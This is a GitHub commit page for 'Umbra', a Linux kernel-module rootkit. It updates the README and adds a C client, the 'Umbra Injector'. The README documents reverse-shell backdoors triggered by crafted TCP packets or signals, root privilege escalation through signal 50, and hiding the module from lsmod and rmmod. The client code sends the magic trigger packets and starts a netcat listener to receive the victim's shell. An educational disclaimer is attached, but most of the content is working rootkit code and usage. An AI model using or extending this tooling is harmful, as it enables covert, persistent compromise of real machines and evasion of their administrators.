Skip to content

Commit

Permalink
Merge pull request #2 from h3xduck/rootkit-hiding
Browse files Browse the repository at this point in the history
Stealth update
  • Loading branch information
h3xduck authored Jun 10, 2021

Verified

This commit was created on GitHub.com and signed with GitHub’s verified signature. The key has expired.
2 parents fd24674 + 8d2d2b8 commit 9c6a9c8
Showing 26 changed files with 632 additions and 77 deletions.
8 changes: 8 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
.vscode
client/client.o
kernel/*.*
kernel/src/*.*
!kernel/src/*.c
!kernel/*.c


63 changes: 53 additions & 10 deletions README.md
Original file line number Diff line number Diff line change
@@ -3,31 +3,46 @@
![GitHub code size in bytes](https://img.shields.io/github/languages/code-size/h3xduck/Umbra)
![GitHub last commit](https://img.shields.io/github/last-commit/h3xduck/Umbra)

# Umbra
# Umbra <img src="images/umbraicon2.png" float="right" width = 50>

Umbra (/ˈʌmbrə/) is an experimental LKM rootkit for kernels 4.x and 5.x (up to 5.7) which opens a network backdoor that spawns reverse shells to remote hosts and more.

The rootkit is still under development, although the features listed below are already fully operational.

![Backdoor in action](https://github.com/h3xduck/Umbra/blob/master/images/umbrabackdoor.gif)
![Backdoor in action](https://github.com/h3xduck/Umbra/blob/master/images/umbra3.gif)

Note: This rootkit has been developed and tested using kernel 5.4.0 and Ubuntu 18.04.

## Features
* **NEW**: Backdoor which spawns reverse shell to remote IP after receiving a malicious TCP packet.
* :star2: Backdoor which spawns reverse shell to remote IP after receiving a malicious TCP packet.
* Privilege escalation by sending signal 50.
* Spawn netcat reverse shell on module load.
* Spawn netcat reverse shell to a remote host by sending signal 51.
* **NEW**: Added the *Umbra Injector* to control the rootkit remotely:
* Remote reverse shell.
* Hide/unhide rootkit remotely.

<img src="images/umbrainjector.png" width = 800/>

* **NEW**: Umbra hides all its files and directories from user commands such as *ls*.
* **NEW**: Umbra can hide/unhide itself remotely and locally via signals.

More functionalities will come in later updates.

## Disclaimer
This rookit is **purely for educational purposes**. I am not responsible for any damage resulting from its unintended use.

Also bear in mind that Umbra does not incorporate any rootkit hiding or protection mechanisms yet.
Also bear in mind that Umbra only incorporates light hiding and protection mechanisms. It is **not** intended to be used on a real scenario.

**IMPORTANT:** If you are going to test this rootkit in your own machine, I *strongly recommend* to use a VM.

## Table of Contents
1. [Build and Install](#build-and-install)
2. [Unloading Umbra](#unloading-umbra)
3. [Local Control](#basic-usage-local-control)
4. [Remote Control](#umbra-injector-remote-control)
5. [References](#references)

## Build and install
Remember that you should have a 4.x or 5.x kernel available.
1. Download your kernel header files
@@ -55,7 +70,7 @@ sudo insmod ./umbra.ko
sudo rmmod umbra
```

## Usage
## Basic Usage: Local control
### Change current user privileges to root
* Send signal 50 to any PID.
```
@@ -77,21 +92,49 @@ kill -51 1

Note: Umbra also tries to start the reverse shell on load.

### **NEW**: Spawn reverse shell via backdoor
### Spawn reverse shell via backdoor
Any host can get a reverse shell by sending a specially-crafted packet to a machine infected with Umbra. The backdoor will try to open the shell on IP:5888, where IP is the IP address of the attacking machine.

You can look at the code to know how to build your own packet, but I also provide a client which will do the job for you. You can download the client from [latest releases](https://github.com/h3xduck/Umbra/releases/), or you can build your own using my library [RawTCP](https://github.com/h3xduck/RawTCP_Lib).
The backdoor listens for packets with the following payload:
`UMBRA_PAYLOAD_GET_REVERSE_SHELL`
, but I also provide a client which will do the job for you. You can download the client from [latest releases](https://github.com/h3xduck/Umbra/releases/), or you can build your own using my library [RawTCP](https://github.com/h3xduck/RawTCP_Lib).

The client is run as follows:
### Hide the rootkit - Invisible mode
This will prevent the rootkit from being shown by commands such as *lsmod*, or being removed via *rmmod*.
```
kill -52 1
```

### Unhide the rootkit
This reverts the invisible mode if active.
```
./client <attacker_ip> <victim_ip>
./client -53 127.0.0.1
```
Where the attacker ip will be used by the backdoor to connect the reverse shell and the victim ip is the one of the machine infected with Umbra.

## Umbra Injector: Remote control
### **NEW**: Get reverse shell
The program can be run either before Umbra is installed (thus waiting until it is), or after Umbra is installed on the target system.
```
./client -S 127.0.0.1
```

### **NEW**: Hide the rootkit remotely - Invisible mode
This will prevent the rootkit from being shown by commands such as *lsmod*, or being removed via *rmmod*.
```
./client -i 127.0.0.1
```

### **NEW**: Unhide the rootkit remotely
This reverts the invisible mode if active.
```
./client -u 127.0.0.1
```

### Help
You can see the full information on how to run the client by:
```
./client -h
```



16 changes: 16 additions & 0 deletions client/Makefile
Original file line number Diff line number Diff line change
@@ -0,0 +1,16 @@
CC = gcc
HEADERS = lib/RawTCP.h
EXTRA_CFLAGS= -I$(PWD)/lib

default:
make client

client.o: client.c $(HEADERS)
gcc -c client.c

client: client.o lib/libRawTCP_Lib.a
gcc -lm -o client client.o -L. lib/libRawTCP_Lib.a

clean:
-rm -f client.o
-rm -f client
Binary file modified client/client
Binary file not shown.
220 changes: 210 additions & 10 deletions client/client.c
Original file line number Diff line number Diff line change
@@ -1,20 +1,220 @@
#include "../lib/RawTCP.h"
#include "lib/RawTCP.h"
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdlib.h>

void main(int argc, char* argv[]){
if(argc<3){
printf("Invalid number of arguments\n");
printf("Usage: client <attacker_ip_address>, <victim_ip_address>\n");
return;
// For printing with colors
#define KGRN "\x1B[32m"
#define KYLW "\x1B[33m"
#define KBLU "\x1B[34m"
#define KMGN "\x1B[35m"
#define KRED "\x1B[31m"
#define RESET "\x1B[0m"

void print_welcome_message(){
printf("*******************************************************\n");
printf("************* Umbra Injector *************************\n");
printf("*******************************************************\n");
printf("************ https://github.com/h3xduck/Umbra *********\n");
printf("*******************************************************\n");
}

void print_help_dialog(const char* arg){
printf("\nUsage: %s [OPTION] victim_IP\n\n", arg);
printf("Program OPTIONs\n");
char* line = "-S victim_IP";
char* desc = "Get a remote shell to victim_IP";
printf("\t%-50s %-50s\n\n", line, desc);
line = "-u victim_IP";
desc = "Unhide the rootkit remotely from the host";
printf("\t%-50s %-50s\n\n", line, desc);
line = "-i victim_IP";
desc = "Hide the rootkit remotely from the host";
printf("\t%-50s %-50s\n\n", line, desc);
line = "\nProgram options";
printf("\t%-50s\n", line);
line = "-h";
desc = "Print this help";
printf("\t%-50s %-50s\n\n", line, desc);

}

void check_ip_address_format(char* address){
char* buf[256];
int s = inet_pton(AF_INET, address, buf);
if(s<0){
printf("["KYLW"WARN"RESET"]""Error checking IP validity\n");
}else if(s==0){
printf("["KYLW"WARN"RESET"]""The victim IP is probably not valid\n");
}
}

char* getLocalIpAddress(){
char hostbuffer[256];
char* IPbuffer = calloc(256, sizeof(char));
struct hostent *host_entry;
int hostname;

hostname = gethostname(hostbuffer, sizeof(hostbuffer));
if(hostname==-1){
perror("["KRED"ERROR"RESET"]""Error getting local IP: gethostname");
exit(1);
}
packet_t packet = build_standard_packet(9000, 9000, argv[1], argv[2], 2048, "UMBRA_PAYLOAD_GET_REVERSE_SHELL");
printf("Sending malicious packet to infected machine...\n");

host_entry = gethostbyname(hostbuffer);
if(host_entry == NULL){
perror("["KRED"ERROR"RESET"]""Error getting local IP: gethostbyname");
exit(1);
}

// To convert an Internet network
// address into ASCII string
strcpy(IPbuffer,inet_ntoa(*((struct in_addr*) host_entry->h_addr_list[0])));

printf("["KBLU"INFO"RESET"]""Attacker IP selected: %s\n", IPbuffer);

return IPbuffer;
}


void get_shell(char* argv){
char* local_ip = getLocalIpAddress();
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
check_ip_address_format(argv);
packet_t packet = build_standard_packet(9000, 9000, local_ip, argv, 2048, "UMBRA_PAYLOAD_GET_REVERSE_SHELL");
printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");

pid_t pid;
pid = fork();
if(pid < 0){
perror("["KRED"ERROR"RESET"]""Could not create another process");
return;
}else if(pid==0){
sleep(1);
//Sending the malicious payload
if(rawsocket_send(packet)<0){
printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n");
}else{
printf("["KGRN"OK"RESET"]""Payload successfully sent!\n");
}

}else {
//Activating listener
char *cmd = "nc";
char *argv[3];
argv[0] = "nc";
argv[1] = "-lvp";
argv[2] = "5888";
argv[3] = NULL;

printf("["KBLU"INFO"RESET"]""Trying to get a shell...\n");
if(execvp(cmd, argv)<0){
perror("["KRED"ERROR"RESET"]""Error executing background listener");
return;
}
printf("["KGRN"OK"RESET"]""Got a shell\n");
}

free(local_ip);
}

void show_rootkit(char* argv){
char* local_ip = getLocalIpAddress();
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
check_ip_address_format(argv);
packet_t packet = build_standard_packet(9000, 9000, local_ip, argv, 2048, "UMBRA_SHOW_ROOTKIT");
printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
//Sending the malicious payload
if(rawsocket_send(packet)<0){
printf("An error occured. Is the machine up?\n");
printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n");
}else{
printf("Finished!\n");
printf("["KGRN"OK"RESET"]""Request to unhide successfully sent!\n");
}
free(local_ip);
}

void hide_rootkit(char* argv){
char* local_ip = getLocalIpAddress();
printf("["KBLU"INFO"RESET"]""Victim IP selected: %s\n", argv);
check_ip_address_format(argv);
packet_t packet = build_standard_packet(9000, 9000, local_ip, argv, 2048, "UMBRA_HIDE_ROOTKIT");
printf("["KBLU"INFO"RESET"]""Sending malicious packet to infected machine...\n");
//Sending the malicious payload
if(rawsocket_send(packet)<0){
printf("["KRED"ERROR"RESET"]""An error occured. Is the machine up?\n");
}else{
printf("["KGRN"OK"RESET"]""Request to hide successfully sent!\n");
}
free(local_ip);
}


void main(int argc, char* argv[]){
if(argc<2){
printf("["KRED"ERROR"RESET"]""Invalid number of arguments\n");
print_help_dialog(argv[0]);
return;
}


int opt;
char dest_address[32];

//Command line argument parsing
while ((opt = getopt(argc, argv, ":S:u:i:h")) != -1) {
switch (opt) {
case 'S':
print_welcome_message();
sleep(1);
//Get a shell mode
printf("["KBLU"INFO"RESET"]""Activated GET a SHELL mode\n");
//printf("Option S has argument %s\n", optarg);
strcpy(dest_address, optarg);
get_shell(dest_address);

break;
case 'u':
print_welcome_message();
sleep(1);
//Selecting show rootkit - Unhide mode
printf("["KBLU"INFO"RESET"]""Selected UNHIDE the rootkit remotely\n");
//printf("Option m has argument %s\n", optarg);
strcpy(dest_address, optarg);
show_rootkit(dest_address);

break;
case 'i':
print_welcome_message();
sleep(1);
//Selecting hide rootkit - Invisible mode
printf("["KBLU"INFO"RESET"]""Selected HIDE the rootkit remotely\n");
//printf("Option m has argument %s\n", optarg);
strcpy(dest_address, optarg);
hide_rootkit(dest_address);

break;
case 'h':
print_help_dialog(argv[0]);
exit(0);
break;
case '?':
printf("["KRED"ERROR"RESET"]""Unknown option: %c\n", optopt);
break;
case ':':
printf("["KRED"ERROR"RESET"]""Missing arguments for %c\n", optopt);
exit(EXIT_FAILURE);
break;

default:
print_help_dialog(argv[0]);
exit(EXIT_FAILURE);
}
}

}
Loading

0 comments on commit 9c6a9c8

Please sign in to comment.